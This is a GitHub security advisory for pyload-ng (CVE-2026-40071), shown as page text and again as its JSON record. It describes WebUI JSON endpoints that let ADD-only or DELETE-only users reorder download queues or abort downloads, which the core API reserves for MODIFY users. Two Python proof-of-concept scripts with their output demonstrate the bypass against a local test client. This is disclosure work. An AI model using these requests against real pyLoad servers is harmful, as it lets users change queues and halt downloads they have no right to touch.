GHSA-RFGH-63MG-8PWM
Vulnerability from github – Published: 2026-04-08 00:18 – Updated: 2026-04-13 17:39Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
- ADD user can reorder packages/files (order_package, order_file) via /json/package_order and /json/link_order
- DELETE user can abort downloads (stop_downloads) via /json/abort_link
Details
pyLoad defines granular permissions in core API:
- order_package requires Perms.MODIFY (src/pyload/core/api/__init__.py:1125)
- order_file requires Perms.MODIFY (src/pyload/core/api/__init__.py:1137)
- stop_downloads requires Perms.MODIFY (src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
- /json/package_order uses @login_required("ADD") then calls api.order_package(...) (src/pyload/webui/app/blueprints/json_blueprint.py:109-117)
- /json/link_order uses @login_required("ADD") then calls api.order_file(...) (src/pyload/webui/app/blueprints/json_blueprint.py:137-145)
- /json/abort_link uses @login_required("DELETE") then calls api.stop_downloads(...) (src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with MODIFY:
- /json/move_package -> @login_required("MODIFY") (json_blueprint.py:188-196)
- /json/edit_package -> @login_required("MODIFY") (json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version: 0.5.0b3 (VERSION file)
- Commit tested: ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
Impact
Type: - Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
- Availability impact: unauthorized abort of active downloads by users lacking MODIFY.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40071"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:18:20Z",
"nvd_published_at": "2026-04-09T18:17:03Z",
"severity": "MODERATE"
},
"details": "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad\u0027s own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == \u0027attacker\u0027\n\n def order_package(self, pack_id, pos):\n self.calls.append((\u0027order_package\u0027, int(pack_id), int(pos)))\n\n def order_file(self, file_id, pos):\n self.calls.append((\u0027order_file\u0027, int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.ADD}\nprint(\u0027API auth (ADD-only) order_package:\u0027, api.is_authorized(\u0027order_package\u0027, ctx))\nprint(\u0027API auth (ADD-only) order_file:\u0027, api.is_authorized(\u0027order_file\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s[\u0027authenticated\u0027] = True\n s[\u0027name\u0027] = \u0027attacker\u0027\n s[\u0027role\u0027] = int(Role.USER)\n s[\u0027perms\u0027] = int(Perms.ADD)\n\n r1 = c.post(\u0027/json/package_order\u0027, json={\u0027pack_id\u0027: 5, \u0027pos\u0027: 0})\n r2 = c.post(\u0027/json/link_order\u0027, json={\u0027file_id\u0027: 77, \u0027pos\u0027: 1})\n\nprint(\u0027HTTP /json/package_order:\u0027, r1.status_code, r1.get_data(as_text=True).strip())\nprint(\u0027HTTP /json/link_order:\u0027, r2.status_code, r2.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [(\u0027order_package\u0027, 5, 0), (\u0027order_file\u0027, 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == \u0027u\u0027\n\n def stop_downloads(self, ids):\n self.calls.append((\u0027stop_downloads\u0027, ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.DELETE}\nprint(\u0027API auth (DELETE-only) stop_downloads:\u0027, api.is_authorized(\u0027stop_downloads\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s[\u0027authenticated\u0027] = True\n s[\u0027name\u0027] = \u0027u\u0027\n s[\u0027role\u0027] = int(Role.USER)\n s[\u0027perms\u0027] = int(Perms.DELETE)\n\n r = c.post(\u0027/json/abort_link\u0027, json={\u0027link_id\u0027: 999})\n\nprint(\u0027HTTP /json/abort_link:\u0027, r.status_code, r.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [(\u0027stop_downloads\u0027, [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
"id": "GHSA-rfgh-63mg-8pwm",
"modified": "2026-04-13T17:39:20Z",
"published": "2026-04-08T00:18:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.